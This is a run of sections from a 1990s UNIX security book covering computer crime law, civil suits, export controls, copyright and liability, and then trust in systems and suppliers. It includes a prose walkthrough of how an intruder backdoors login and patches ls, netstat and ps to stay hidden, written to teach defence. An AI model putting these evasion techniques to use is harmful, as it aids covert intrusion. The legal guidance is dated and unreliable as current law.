Local police or Federal authorities can present a judge with a petition to grant a search warrant if they believe there is evidence to be found concerning a violation of a law. If the warrant is in order, the judge will almost always grant the search warrant. Currently, a few Federal investigators and law-enforcement personnel in some states have a poor reputation for heavy-handed and excessively broad searches. The scope of the search is usually detailed in the warrant by the agent in charge and approved by the judge; most warrants are derived from "boiler plate" examples that are themselves too broad. These problems have resulted in considerable ill will, and in the future might result in evidence not being admissible on Constitutional grounds because a search was too wide-ranging. How to define the proper scope of a search is still a matter of some evolution in the courts.

Usually, the police seek to confiscate anything connected with the computer that may have evidence (e.g., files with stolen source code or telephone access codes). This confiscation might result in seizure of the computer, all magnetic media that could be used with the computer, anything that could be used as an external storage peripheral (e.g., videotape machines and tapes), auto-dialers that could contain phone numbers for target systems in their battery-backed memory, printers and other peripherals necessary to examine your system (in case it is nonstandard in setup), and all documentation and printouts. In past investigations, even laser printers, answering machines, and televisions have been seized by Federal agents.

Officers are required to give a receipt for what they take. However, you may wait a very long time before you get your equipment back, especially if there is a lot of storage media involved, or if the officers are not sure what they are looking for. Your equipment may not even be returned in working condition - batteries discharge, media degrades, and dust works its way into moving parts.

You should discuss the return of your equipment during the execution of the warrant, or thereafter with the prosecutors. You should indicate priorities (and reasons) for the items to be returned. In most cases, you can request copies of critical data and programs. As the owner of the equipment, you can also file suit[4] to have it returned, but such suits may drag on and may not be productive. Suits to recover damages may not be allowed against law-enforcement agencies that are pursuing a legitimate investigation.

[4] If it is a Federal warrant, your lawyer may file a "Motion for Return of Property" under Rule 41(e) of the Federal Rules of Criminal Procedure.

You can also challenge the reasons used to file the warrant and seek to have it declared invalid, forcing the return of your equipment. However, in some cases, warrants have been sealed to protect ongoing investigations and informants, so this option can be made much more difficult to execute. Equipment and media seized during a search may be held until a trial if they contain material to be used as prosecution evidence. Some state laws require forfeiture of the equipment on conviction.

At present, a search is not likely to involve confiscation of a mainframe or even a minicomputer. However, confiscation of tapes, disks, and printed material could disable your business even if the computer itself is not taken. Having full backups offsite may not be sufficient protection, because tapes might also be taken by a search warrant. If you think that a search might curtail your legitimate business, be sure that the agents conducting the search have detailed information regarding which records are vital to your ongoing operation and request copies from them.

Until the law is better defined in this area, you are well advised to consult with your attorney if you are at all worried that a confiscation might occur. Furthermore, if you have homeowners' or business insurance, you might check with your agent to see if it covers damages resulting from law-enforcement agents during an investigation. Business interruption insurance provisions should also be checked if your business depends on your computer.

26.2.6 Other Tips

Here is a summary of additional observations about the application of criminal law to deter possible abuse of your computer. Note that most of these are simply good policy whether or not you anticipate break-ins.

  • Replace any welcome message from your login program and /etc/motd file with warnings to unauthorized users stating that they are not welcome. We know of no legal precedent where a welcome message has been used as a successful defense for a break-in; however, some legal authorities have counselled against anything that might suggest a welcome for unwanted visitors.

  • Put copyright and/or proprietary ownership notices in your source code and data files. Do so at the top of each and every file. If you express a copyright, consider filing for the registered copyright - this version can enhance your chances of prosecution and recovery of damages.

  • Be certain that your users are notified about what they can and cannot do.

  • If it is consistent with your policy, put all users of your system on notice about what you may monitor. This includes email, keystrokes, and files. Without such notice, monitoring an intruder or a user overstepping bounds could itself be a violation of wiretap or privacy laws!

  • Keep good backups in a safe location. If comparisons against backups are necessary as evidence, you need to be able to testify as to who had access to the media involved. Having tapes in a public area probably will prevent them from being used as evidence.

  • If something happens that you view as suspicious or that may lead to involvement of law-enforcement personnel, start a diary. Note your observations and actions, and note the times. Run paper copies of log files or traces and include those in your diary. A written record of events such as these may prove valuable during the investigation and prosecution. Note the time and context of each and every contact with law-enforcement agents, too.

  • Try to define, in writing, the authorization of each employee and user of your system. Include in the description the items to which each person has legitimate access (and the items that each person cannot access). Have a mechanism in place so that each person is apprised of this description and can understand their limits.

  • Tell your employees explicitly that they must return all materials, including manuals and source code, when requested or when their employment terminates.

  • If something has happened that you believe requires law-enforcement investigation, do not allow your personnel to conduct their own investigation. Doing too much on your own may prevent some evidence from being used, or may otherwise cloud the investigation. You may also aggravate law-enforcement personnel with what they might perceive to be outside interference in their investigation.

  • Make your employees sign an employment agreement that delineates their responsibilities with respect to sensitive information, machine usage, electronic mail use, and any other aspects of computer operation that might later arise. Make sure the policy is explicit and fair, and that all employees are aware of it and have signed the agreement. State clearly that all access and privileges terminate when employment does, and that subsequent access without permission will be prosecuted.

  • Make contingency plans with your lawyer and insurance company for actions to be taken in the event of a break-in or other crime, related investigation, and subsequent events.

  • Identify, ahead of time, law-enforcement personnel who are qualified to investigate problems that you may have. Introduce yourself and your concerns to them in advance of a problem. Having at least a nodding acquaintance will help if you later encounter a problem that requires you to call upon law enforcement for help.

  • Consider joining societies or organizations that stress ongoing security awareness and training. Work to enhance your expertise in these areas.

26.2.7 A Final Note on Criminal Actions

Finally, keep in mind that criminal investigation and prosecution can only occur if you report the crime. If you fail to report the crime, there is no chance of apprehension. Not only does that not help your situation, it leaves the perpetrators free to harm someone else.

A more subtle problem results from a failure to report serious computer crimes: such failure leads others to believe that there are few such crimes being committed. As a result, little emphasis is placed on budgets or training for new law-enforcement agents in this area, little effort is made to enhance the existing laws, and little public attention is focused on the problem. The consequence is that the computing milieu becomes incrementally more dangerous for all of us.

Previous: 26.1 Legal Options After a Break-in | Practical UNIX & Internet Security | Next: 26.3 Civil Actions
26.1 Legal Options After a Break-in | Book Index | 26.3 Civil Actions


[Chapter 26] 26.3 Civil Actions

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 26.2 Criminal Prosecution Chapter 26
Computer Security and U.S. Law 		Next: 26.4 Other Liability

26.3 Civil Actions

Besides criminal law, the courts also offer remedies through civil actions (lawsuits). The nature of lawsuits is such that you can basically sue anyone for any reasonable claim of damages or injury. You can even sue parties unknown, as long as some hope exists of identifying them at a later time. You can ask for actual and punitive payment of damages, injunctive relief (cease-and-desist orders), as well as other remedies for damage. Often, a case is easier to prove in a civil court than in a criminal court. Civil cases require a less strict standard of proof to convict than do criminal cases (a "preponderance of the evidence" as opposed to the "beyond a reasonable doubt" standard used in criminal cases).

Civil remedies are much easier to get after a criminal conviction is obtained.

However, filing civil suits for damages in the case of break-ins or unauthorized activity may not be a practical course of action for several reasons:

  1. Civil suits can be very expensive to pursue. Criminal cases are prosecuted by a government unit, and evidence collection and trial preparation are paid for by the government. In a civil case, the gathering of evidence and the preparation of trial material is done by your lawyers - and you pay for it. Good lawyers still charge more than most computer consultants; therefore, the cost of preparing even a minor suit may be quite high. If you win your case, you may be able to have your lawyers' fees included in your award, but don't count on such provisions. Note, however, that criminal cases may sometimes be used as the basis for later civil action.

  2. The preparation and scheduling of a lawsuit may take many years. In the meantime, unless you are able to get temporary injunctions, whatever behavior that you are seeking to punish may continue. The delay can also continue to increase the cost of your preparation.

  3. You may not win a civil case. Even if you do win, it's possible that your opponent will not have any resources with which to pay damages or your lawyer fees, and so you therefore may be out a considerable sum of money without any satisfaction other than the moral victory of a court decision in your favor. What's more, your opponent can always appeal - or countersue.

The vast majority of civil cases are settled out of court. Simply beginning the process of bringing suit may be sufficient to force your opponent into a settlement. If all you are seeking is to stop someone from breaking into your system, or force someone to repay you for stolen computer time or documents, a lawsuit may be an appropriate course of action. In many cases, especially those involving juveniles trying to break into your system, having a lawyer send an official letter of complaint demanding an immediate stop to the activity may be a cheap and effective way of achieving your goal.

As with other legal matters, you should consult with a trained attorney to discuss trade-offs and alternatives. There is a wide range of possibilities available to you depending on your locale, the nature of your complaint, and the nature of your opponent (business, individual, etc.).

Never threaten a lawsuit without prior legal advice. Such threats may lead to problems you don't need - or want.

Previous: 26.2 Criminal Prosecution | Practical UNIX & Internet Security | Next: 26.4 Other Liability
26.2 Criminal Prosecution | Book Index | 26.4 Other Liability


[Chapter 26] 26.4 Other Liability

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 26.3 Civil Actions Chapter 26
Computer Security and U.S. Law 		Next: 27. Who Do You Trust?

26.4 Other Liability

When you operate a computer, you have more to fear than break-ins and physical disasters. You also need to worry that the actions of some of your own users (or yourself) may result in violation of the law, or civil action. Here, we present a few notable concerns in this area.

The law is changing rapidly in the areas of computer use and abuse. It is also changing rapidly with regard to networks and network communication. We cannot hope to provide information here that will be up-to-date for very long. For instance, one outstanding reference in this area, Internet & Network Law 1995, by William J. Cook[5] summarizes some of the recent rulings in computer and network law in the year 1995. Mr. Cook's report has almost 70 pages of case summaries and incidents, all of which represent recent decisions. As more people use computers and networks, and as more commercial interests are tied into computing, we can expect the pace of new legislation, legal decisions, and other actions to increase. Therefore, as with any other aspect of the law, you are advised to seek competent legal counsel if you have any questions about whether these concerns may apply to you.[6] Keep in mind that the law functions with a logic all its own - one that is puzzling and confounding to people who work with software. The law is not necessarily logical and fair, nor does it always embody common sense.

[5] Of the law firm Willian Brinks Hofer Gilson & Lione in Chicago.

[6] And don't make it a one-time visit, either. With the rapid pace of change, you need to track the changes if there is any chance that you might be affected by adverse changes in the law.

26.4.1 Munitions Export

In Section 6.7.2, "Cryptography and Export Controls", we described some of the export control regulations in effect in the United States. Although largely quite silly and short-sighted, they are nonetheless the law and you may encounter problems if you are in violation.

One reading of the regulations suggests that anyone who exports encryption software outside the country, or makes it available to foreign nationals who are not permanent residents, is in violation of the statutes unless a license is obtained first; such licenses are notoriously difficult to obtain. It may also be the case that granting access to certain forms of advanced supercomputing equipment (even granting accounts) to foreign nationals is in violation of the law.

You may believe that you are not exporting any prohibited software. However, stop and think for a moment. Does your anonymous FTP repository contain encryption software of any kind? Does your WWW server have any pages with encryption software? Do you run a mailing list or remailer that can be used to send encryption software outside the U.S.? If the answer to any of those is "yes," you should consider seeking legal advice on this issue as you may be classified as an "exporter." Violation of the export control acts are punishable (upon conviction) with hefty fines and long jail terms.

A further potential violation involves access to the software by non-citizens. If any of your employees (or students) are not U.S. citizens or permanent residents, and if they have access to encryption software or advanced computing hardware, you are likely to be in violation of the law. Note that one interpretation of the law implies that if you only provide an account that is used by someone else to obtain controlled software you may still be liable. (If you do, you are probably in good company, because nearly all major universities and software vendors in the country are in the same position. This fact may be little comfort if Federal agents show up at your door, however.)

An even more bizarre and interesting aspect of the law indicates that you may be in violation of the export control laws if you provide encryption software to U.S. citizens living and working in the U.S. - provided that they are working for a company under non-U.S. control. Thus, even if you are a U.S. citizen, and you download a copy of PGP or DES to your workstation in your office (in Washington, Chicago, Atlanta, Houston, Phoenix, Portland, Los Angeles, Fairbanks, or Honolulu), you are now an international arms exporter and potential criminal if your company is majority owned or controlled by parties outside the U.S. This liability is personal, not corporate.

The whole matter of export controls on encryption software is under study by various government groups, and is the subject of several lawsuits in Federal court. The status of this situation will undoubtedly change in the next few years. We hope that it will change to something more reasonable, but you should be sure to stay informed.

26.4.2 Copyright Infringement

Items other than software can be copyrighted. Images in your WWW pages, sound clips played through your gopher and WWW servers, and documents you copied from other sites to pad your own collection all have copyrights associated with them. On-line databases, computer programs, and electronic mail are copyrighted as well. The law states that as soon as something is expressed in a tangible form, it has a copyright associated with it. Thus, as soon as the bits are on your disk, they are copyrighted, whether a formal notice exists or not.

The standard practice on the Internet has been that something exported with a public-access server is for public use, unless otherwise noted. However, this practice is not in keeping with the way the law is currently phrased. Furthermore, some items that you obtain from an intermediate party may have had owner and copyright information removed. This does not absolve you of any copyright liability if you use that material.

In particular, recent rulings in various courts have found that under certain circumstances system operators can be sued as a contributing party, and thus held partially liable, for copyright infringement committed by users of their systems. Types of infringement include:

  • Posting pictures, artwork, and images on FTP sites and WWW sites without appropriate permission, even if the items are not clearly identified regarding owner, subject, or copyright.

  • Posting excerpts from books, reports, and other copyrighted materials via mail, FTP, or Usenet postings.

  • Posting sound clips from films, TV shows, or other recorded media without approval of the copyright holders.

  • Posting scanned-in cartoons from newspapers or magazines.

  • Reposting news articles from copyrighted sources.

  • Reposting of email. Like paper mail, email has a copyright held by the author of the email as soon as it is put in tangible form. The act of sending the mail to someone does not give the recipient copyright interest in the email. Standard practice on the net is not in keeping with the way the law is written. Thus, forwarding email may technically be a violation of the copyright law.

The best defense against possible lawsuits is to carefully screen everything you post or make available to be certain you know its copyright status. Furthermore, make all your users aware of the policy you set in this regard, and then periodically audit to ensure that the policy is followed. Having an unenforced policy will likely serve you as well as no policy - that is, not at all.

Also, beware of "amateur lawyers" who tell you that reuse of an image or article is "fair use" under the law. There is a very precise definition of fair use, and you should get the opinion from a real lawyer who knows the issues. After all, if you get sued, do you think that a reference to an anonymous post in the alt.erotica.lawyers.briefs Usenet newsgroup is going to convince the judge that you took due diligence to adhere to the law?

If anyone notifies you that you are violating their copyright with something you have on your system, you should investigate immediately. Any delay could cause additional problems. (However, we are not necessarily advocating that you pull your material from the network any time you get a complaint.)

26.4.2.1 Software piracy and the SPA

The Software Publishers Association (SPA) is one of several organizations funded by major software publishers. One of its primary goals is to cut down on the huge amount of software piracy that is regularly conducted worldwide. Although each individual act of unauthorized software copying and use may only deprive the vendor of a few hundred dollars at most, the sheer numbers of software pirates in operation makes the aggregate losses staggering: worldwide losses are estimated in the billions of dollars per year. Figures from various sources cited by Mr. Cook in Internet & Network Law 1995 indicate:

  • Worldwide losses from software piracy alone may be as high as $15 billion per year.

  • 94% of the software in the Peoples Republic of China is pirated.

  • 92% of the software in use in Japan is pirated.

  • 50% of the software in use in Canada is pirated.

Although there are criminal penalties for unauthorized copying, these penalties are only employed against organized software piracy organizations. Instead, SPA and others rely on civil-law remedies. In particular, the SPA can obtain a court order to examine your computer systems for evidence of unlicensed copies of software. Should such copies be found without supporting documentation to show valid licenses, you may be subject to a lawsuit resulting in substantial damages. Many companies and universities have settled with the SPA with regard to these issues, with fines totaling in the many hundreds of thousands of dollars. This amount is in addition to the many thousands of dollars paid to vendors for any unlicensed software that is found.

Although the SPA has primarily been focused on software piracy in the PC domain, they will probably expand their scope into the UNIX marketplace as more shrink-wrapped software becomes available for UNIX machines. Of additional concern are the new generations of emulators that let your UNIX machine operate as a "PC" inside a window on your workstation. These emulators run PC software as well as (and sometimes faster than) a plain desktop PC. The danger is having unlicensed PC software on your workstations for use in these emulators.

A further danger involves your users. If some of your users are running a clandestine "warez" site from your FTP server, the SPA or vendors might conceivably seek financial redress from you to help cover the loss, even if you do not know about the server and otherwise don't condone the behavior.[7]

[7] Whether they would succeed in such an action is something we cannot know. However, almost anything is possible if a talented attorney were to press the case.

Your best defense in these circumstances is to clearly state to your users that no unlicensed use or possession of software is allowed under any circumstances. Having internal audits of software is one way you can check compliance with this policy. If software cannot be documented as paid for and original, then it should be deleted. Having up-to-date and per-machine log books is one way to track versions of software.

26.4.3 Trademark Violations

Note that use of trademark phrases, symbols, and insignia without the permission of the holders of the trademark may lead to difficulties. In particular, don't put corporate logos on your WWW pages without permission from the corporations involved. Holders of trademarks must carefully regulate and control the manner in which their trademarks are used, or they lose protection of them. That means that you will probably hear from a corporate attorney if you put the logos for Sun, HP, Xerox, Microsoft, Coca-Cola, or other trademark holders on your WWW pages.

26.4.4 Patent Concerns

We've mentioned patent concerns elsewhere in the book. Firms and individuals are applying for (and receiving) patents on software and algorithms at an astonishing rate. Despite the wording of the Constitution and laws on patents, the Patent Office is continuing to award patents on obvious ideas, trivial advances, and pure algorithms. In the middle of 1995, they effectively granted patent protection to a prime number as well![8]

[8] Patent 5,373,560 covering the use of the prime number 98A3DF52 AEAE9799 325CB258 D767EBD1 F4630E9B 9E21732A 4AFB1624 BA6DF911 466AD8DA 960586F4 A0D5E3C3 6AF09966 0BDDC157 7E54A9F4 02334433 ACB14BCB was granted on December 13, 1994 to Roger Schlafly of California. Although the patent only covers the use of the number when used with Schalfly's algorithm, there is no other practical use for this particular number, because it is easier (and more practical) to generate a "random" prime number than to use this one.

The danger comes when you write some new code that involves an algorithm you read about, or simply developed based on obvious prior art. You may discover, when you try to use this in a wider market, that lawyers from a large corporation will tell you that you cannot use "their" algorithm in your code because it is covered by their patent. After a patent is granted, the patent holder controls the use of the patented item for 20 years from the date of filing - you aren't even supposed to use it for experimental purposes without their approval and/or license!

Many companies are now attempting to build up huge libraries of patents to use as leverage in the marketplace. In effect, they are submitting applications on everything they develop. This practice is sad,[9] because it will have an inhibitory effect on software development in the years to come. It is also sad to see business switch from a mode of competing based on innovation to a mode of competing based on who has the biggest collection of dubious patents.

[9] Indeed, it already has had negative effects. For instance, the patents on public key encryption have really hurt information security development in recent years.

Until the courts or Congress step in to straighten out this mess, there is not much you can do to protect yourself (directly). However, we suggest that you pursue some of the references given in Appendix D, Paper Sources to further educate yourself on the issues involved. Then consider contacting your elected representatives to make your views on the matter known.

26.4.5 Pornography and Indecent Material

Every time a new communications medium is presented, pornography and erotica seem to be distributed using it. Unfortunately, we live in times in which there are people in positions of political and legal influence who believe that they should be able to define what is and is not proper, and furthermore restrict access to that material. This belief, coupled with the fact that U.S. standards of acceptability of nudity and erotic language are more strict than in many places in the world, lead to conflict on the networks.

As this book goes to press, Congress has passed a law that makes it a criminal offense to put "indecent" material on a computer where a minor might encounter it. We have also heard of cases in which people have had their computers confiscated for having a computer image on disk, which they were unaware was present, that depicted activities that someone decided violated "community standards." There have also been cases where individuals in one state have been convicted of pornography charges in another state, even though the material was not considered obscene in the state where the system was normally accessed. And last of all, you can be in serious legal trouble for simply FTPing an image of a naked minor, even if you don't know what is in the image at the time you fetch it.

Many of these laws are currently being applied selectively. In several cases, individuals have been arrested for downloading child pornography from several major online service providers. In the United States, the mere possession of child pornography is a crime. Yet the online service providers have not been harassed by law enforcement, even though the same child pornography resided on the online services' systems.

We won't comment on the nature of the laws involved, or the fanatic zeal with which some people pursue prosecution under these statutes. We will observe that if you or your users have images or text online (for FTP, WWW, Usenet, or otherwise) that may be considered "indecent" or "obscene," you may wish to discuss the issue with legal counsel. In general, the U.S. Constitution protects most forms of expression as "free speech." However, prosecution may be threatened or attempted simply to intimidate and cause economic hardship: this is not prohibited by the Constitution.

We should also point out that as part of any sensible security administration, you should know what you have on your computer, and why. Keep track of who is accessing material you provide, and beware of unauthorized use.

26.4.6 Liability for Damage

Suppose that one of your users puts up a nifty new program on your anonymous FTP site for people to use. It claims to protect any system against some threat, or fixes a vendor flaw. Someone at the Third National Bank of Hoople downloads it and runs the program, and the system then crashes, leading to thousands of dollars in damages.

Or perhaps you are browsing the WWW and discover an applet in a language such as Java that you find quite interesting. You install a link to it from your home page. Unfortunately, someone on the firewall machine at Big Whammix, Inc. clicks on the link and the applet somehow interacts with the firewall code to open an internal network to hackers around the world.

If your response to such incidents is, "Too bad. Software does that sometimes," then you are living dangerously. Legal precedent is such that you might be liable, at least partially, for damages in cases such as these. You could certainly be sued and need to answer in court to such charges, and that is not a pleasant experience. Think about explaining how you designed and tested the code, how you documented it, and how you warned other users about potential defects and side effects. How about the implied warranty?

Simply because "everyone on the net" does an action, does not mean that the action will convince a judge and jury that you aren't responsible for some of the mess that action causes. There have been many times in the history of the United States that people have been successfully sued for activity which was widespread. The mere fact that "everybody was doing it" did not stop some particular individuals from being found liable.

In general, you should get expert legal advice before providing any executable code to others, even if you intend to give the code away.

26.4.7 Harassment, Threatening Communication, and Defamation

Computers and networks give us great opportunities for communicating with the world. In a matter of moments, our words can be speeding around the world destined for someone we have never met in person, or for a large audience. Not only is this ability liberating and empowering, it can be very entertaining. Mailing lists, "chat rooms," MUDS, newsgroups, and more all provide us with news and entertainment.

Unfortunately, this same high-speed, high-bandwidth communications medium can also be used for less-than-noble purposes. Email can be sent to harass someone, news articles can be posted to slander someone, and online chats can be used to threaten someone with harm.

In the world of paper and telephones, there are legal remedies to harassing and demeaning communication. Some of those remedies are already being applied to the online world. We have seen cases of people being arrested for harassment and stalking online, and sued (successfully) for slander in posted Usenet articles. There have also been cases filed for violation of EEOC laws because of repeated postings that are sexually, racially, or religiously demeaning.[10]

[10] Note that the use of screen savers with inappropriate images can also contribute to such complaints.

Words can hurt others, sometimes quite severely. Often, words are a prelude or indicator of other potential harm, including physical harm. For this reason, you must have policies in place prohibiting demeaning or threatening postings and mailings from work-related accounts.[11] We further suggest that you have a policy in place prohibiting any form of anonymous posting or mailing from the workplace.

[11] We are strong advocates of free speech, and are bothered by too much "political correctness." However, free speech and artistic expression are not usually part of one's job function in most environments. Expression should be allowed from personal accounts outside the workplace, and those doing the expressing should be held accountable for the consequences of their speech.

Previous: 26.3 Civil Actions | Practical UNIX & Internet Security | Next: 27. Who Do You Trust?
26.3 Civil Actions | Book Index | 27. Who Do You Trust?


[Chapter 27] Who Do You Trust?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 26.4 Other Liability Chapter 27 Next: 27.2 Can You Trust Your Suppliers?

27. Who Do You Trust?

Contents:
Can you Trust Your Computer?
Can You Trust Your Suppliers?
Can You Trust People?
What All This Means

Trust is the most important quality in computer security. If you build a bridge, you can look at the bridge every morning and make sure it's still standing. If you paint a house, you can sample the soil and analyze it at a laboratory to ensure that the paint isn't causing toxic runoff. But in the field of computer security, most of the tools that you have for determining the strength of your defenses and for detecting break-ins reside on your computer itself. Those tools are as mutable as the rest of your computer system.

When your computer tells you that nobody has broken through your defenses, how do you know that you can trust what it is saying?

27.1 Can you Trust Your Computer?

For a few minutes, try thinking like a computer criminal. A few months ago you were fired from Big Whammix, the large smokestack employer on the other side of town, and now you're working for a competing company, Bigger Bammers. Your job at Bammers is corporate espionage; you've spent the last month trying to break into Big Whammix's central mail server. Yesterday, you discovered a bug in a version of sendmail [1] that Whammix is running, and you gained superuser access.

[1] This is a safe enough bet - sendmail seems to have an endless supply of bugs and design misfeatures leading to security problems.

What do you do now?

Your primary goal is to gain as much valuable corporate information as possible, and to do so without leaving any evidence that would allow you to be caught. But you have a secondary goal of masking your steps, so that your former employers at Whammix will never figure out that they have lost information.

Realizing that the hole in the Whammix sendmail daemon might someday be plugged, you decide to create a new back door that you can use to gain access to the company's computers in the future. The easiest thing to do is to modify the computer's /bin/login program to accept hidden passwords. Therefore, you take your own copy of the source code to login.c and modify it to allow anybody to log in as root if they type a particular sequence of apparently random passwords. Then you install the program as /bin/passwd .

You want to hide evidence of your data collection, so you also patch the /bin/ls program. When the program is asked to list the contents of the directory in which you are storing your cracker tools and intercepted mail, it displays none of your files. You "fix" these programs so that the checksums reported by /usr/bin/sum are the same. Then, you manipulate the system clock or edit the raw disk to set all the times in the inodes back to their original values, to further cloak your modifications.

You'll be connecting to the computer on a regular basis, so you also modify /usr/bin/netstat so that it doesn't display connections between the Big Whammix IP subnet and the subnet at Bigger Bammers. You may also modify the /usr/bin/ps and /usr/bin/who programs, so that they don't list users who are logged in via this special back door.

Content, you now spend the next five months periodically logging into the mail server at Big Whammix and making copies of all of the email directed to the marketing staff. You do so right up to the day that you leave your job at Bigger Bammers and move on to a new position at another firm. On your last day, you run a shell script that you have personally prepared that restores all of the programs on the hard disk to their original configuration. Then, as a parting gesture, your program introduces subtle modifications into the Big Whammix main accounting database.

Technological fiction? Hardly. By the middle of the 1990s, attacks against computers in which the system binaries were modified to prevent detection of the intruder had become commonplace. After sophisticated attackers gain superuser access, the common way that you discover their presence is if they make a mistake.

27.1.1 Harry's Compiler

In the early days of the MIT Media Lab, there was a graduate student who was very unpopular with the other students in his lab. To protect his privacy, we'll call the unpopular student "Harry."

Harry was obnoxious and abrasive, and he wasn't a very good programmer either. So the other students in the lab decided to play a trick on him. They modified the PL/1 compiler on the computer that they all shared so that the program would determine the name of the person who was running it. If the person running the compiler was Harry, the program would run as usual, reporting syntax errors and the like, but it would occasionally, randomly, not produce a final output file.

This mischievous prank caused a myriad of troubles for Harry. He would make a minor change to his program, run it, and - occasionally - the program would run the same way as it did before he made his modification. He would fix bugs, but the bugs would still remain. But then, whenever he went for help, one of the other students in the lab would sit down at the terminal, log in, and everything would work properly.

Poor Harry. It was a cruel trick. Somehow, though, everybody forgot to tell him about it. He soon grew frustrated with the whole enterprise, and eventually left school.

And you thought those random "bugs" in your system were there by accident?

27.1.2 Trusting Trust

Perhaps the definitive account of the problems inherent in computer security and trust is related in Ken Thompson's article, "Reflections on Trusting Trust." [2] Thompson describes a back door planted in an early research version of UNIX.

[2] Communications of the ACM, Volume 27, Number 8, August 1984.

The back door was a modification to the /bin/login program that would allow him to gain superuser access to the system at any time, even if his account had been deleted, by providing a predetermined username and password. While such a modification is easy to make, it's also an easy one to detect by looking at the computer's source code. So Thompson modified the computer's C compiler to detect if it was compiling the login.c program. If so, then the additional code for the back door would automatically be inserted into the object-code stream, even though the code was not present in the original C source file.

Thompson could now have the login.c program inspected by his coworkers, compile the program, install the /bin/login executable, and yet be assured that the back door was firmly in place.

But what if somebody inspected the source code for the C compiler itself? Thompson thought of that case as well. He further modified the C compiler so that it would detect whether it was compiling the source code for itself. If so, the compiler would automatically insert the special program recognition code. After one more round of compilation, Thompson was able to put all the original source code back in place.

Thompson's experiment was like a magic trick. There was no back door in the login.c source file and no back door in the source code for the C compiler, and yet there was a back door in both the final compiler and in the login program. Abracadabra!

What hidden actions do your compiler and login programs perform?

27.1.3 What the Superuser Can and Cannot Do

As all of these examples illustrate, technical expertise combined with superuser privileges on a computer is a powerful combination. Together, they let an attacker change the very nature of the computer's operating system. An attacker can modify the system to create "hidden" directories that don't show up under normal circumstances (if at all). Attackers can change the system clock, making it look as if the files that they modify today were actually modified months ago. An attacker can forge electronic mail. (Actually, anybody can forge electronic mail, but an attacker can do a better job of it.)

Of course, there are some things that an attacker cannot do, even if that attacker is a technical genius and has full access to your computer and its source code. An attacker cannot, for example, decrypt a message that has been encrypted with a perfect encryption algorithm. But he can alter the code to record the key the next time you type it. An attacker probably can't program your computer to perform mathematical calculations a dozen times faster than it currently does, although there are few security implications to doing so. Most attackers can't read the contents of a file after it's been written over with another file unless they take apart your computer and take the hard disk to a laboratory. However, an attacker with privileges can alter your system so that files you have deleted are still accessible (to him).

In each case, how do you tell if the attack has occurred?

The "what-if" scenario can be taken to considerable lengths. Consider an attacker who is attempting to hide a modification in a computer's /bin/login program:

Table 27.1: The "What-If" Scenario
What the Attacker Might Do After Gaining Root Access | Your Responses
The attacker plants a back door in the /bin/login program to allow unauthorized access. | You use PGP to create a digital signature of all system programs. You check the signatures every day.
The attacker modifies the version of PGP that you are using, so that it will report that the signature on /bin/login verifies, even if it doesn't. | You copy /bin/login onto another computer before verifying it with a trusted copy of PGP.
The attacker modifies your computer's kernel by adding loadable modules, so that when the /bin/login is sent through a TCP connection, the original /bin/login, rather than the modified version, is sent. | You put a copy of PGP on a removable hard disk. You mount the hard disk to perform the signature verification and then unmount it. Furthermore, you put a good copy of /bin/login onto your removable hard disk and then copy the good program over the installed version on a regular basis.
The attacker regains control of your system and further modifies the kernel so that the modification to /bin/login is patched into the running program after it loads. Any attempt to read the contents of the /bin/login file results in the original, unmodified version. | You reinstall the entire system software, and configure the system to boot from a read-only device such as a CD-ROM.
Because the system now boots from a CD-ROM, you cannot easily update system software as bugs are discovered. The attacker waits for a bug to crop up in one of your installed programs, such as sendmail. When the bug is reported, the attacker will be ready to pounce. | Your move . . .

(See Table 27.1.)

If you think that this description sounds like a game of chess, you're correct. Practical computer security is a series of actions and counteractions, of attacks and defenses. As with chess, success depends upon anticipating your opponent's moves and planning countermeasures ahead of time. Simply reacting to your opponent's moves is a recipe for failure.

The key thing to note, however, is that somewhere, at some level, you need to trust what you are working with. Maybe you trust the hardware. Maybe you trust the CD-ROM. But at some level, you need to trust what you have on hand. Perfect security isn't possible, so we need to settle for the next best thing - reasonable trust on which to build.

The question is, where do you place that trust?

Previous: 26.4 Other Liability | Practical UNIX & Internet Security | Next: 27.2 Can You Trust Your Suppliers?
26.4 Other Liability | Book Index | 27.2 Can You Trust Your Suppliers?


[Chapter 27] 27.2 Can You Trust Your Suppliers?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 27.1 Can you Trust Your Computer? Chapter 27
Who Do You Trust? 		Next: 27.3 Can You Trust People?

27.2 Can You Trust Your Suppliers?

Your computer does something suspicious. You discover that the modification dates on your system software have changed. It appears that an attacker has broken in, or that some kind of virus is spreading. So what do you do? You save your files to backup tapes, format your hard disks, and reinstall your computer's operating system and programs from the original distribution media.

Is this really the right plan? You can never know. Perhaps your problems were the result of a break-in. But sometimes, the worst is brought to you by the people who sold you your hardware and software in the first place.

27.2.1 Hardware Bugs

The fact that Intel Pentium processors had a floating-point problem that infrequently resulted in a significant loss of precision when performing some division operations was revealed to the public in 1994. Not only had Intel officials known about this, but apparently they had decided not to tell their customers until after there was significant negative public reaction.

Several vendors of disk drives have had problems with their products failing suddenly and catastrophically, sometimes within days of being placed in use. Other disk drives failed when they were used with UNIX, but not with the vendor's own proprietary operating system. The reason: UNIX did not run the necessary command to map out bad blocks on the media. Yet, these drives were widely bought for use with the UNIX operating system.

Furthermore, there are many cases of effective self-destruct sequences in various kinds of terminals and computers. For example, Digital's original VT100 terminal had an escape sequence that switched the terminal from a 60Hz refresh rate to a 50Hz refresh rate, and another escape sequence that switched it back. By repeatedly sending the two escape sequences to a VT100 terminal, a malicious programmer could cause the terminal's flyback transformer to burn out - sometimes spectacularly!

A similar sequence of instructions could be used to break the monochrome monitor on the original IBM PC video display.

27.2.2 Viruses on the Distribution Disk

A few years ago, there was a presumption in the field of computer security that manufacturers who distributed computer software took the time and due diligence to ensure that their computer programs, if not free of bugs and defects, were at least free of computer viruses and glaring computer security holes. Users were warned not to run shareware and not to download programs from bulletin board systems, because such programs were likely to contain viruses or Trojan horses. Indeed, at least one company, which manufactured a shareware virus scanning program, made a small fortune telling the world that everybody else's shareware programs were potentially unsafe.

Time and experience have taught us otherwise.

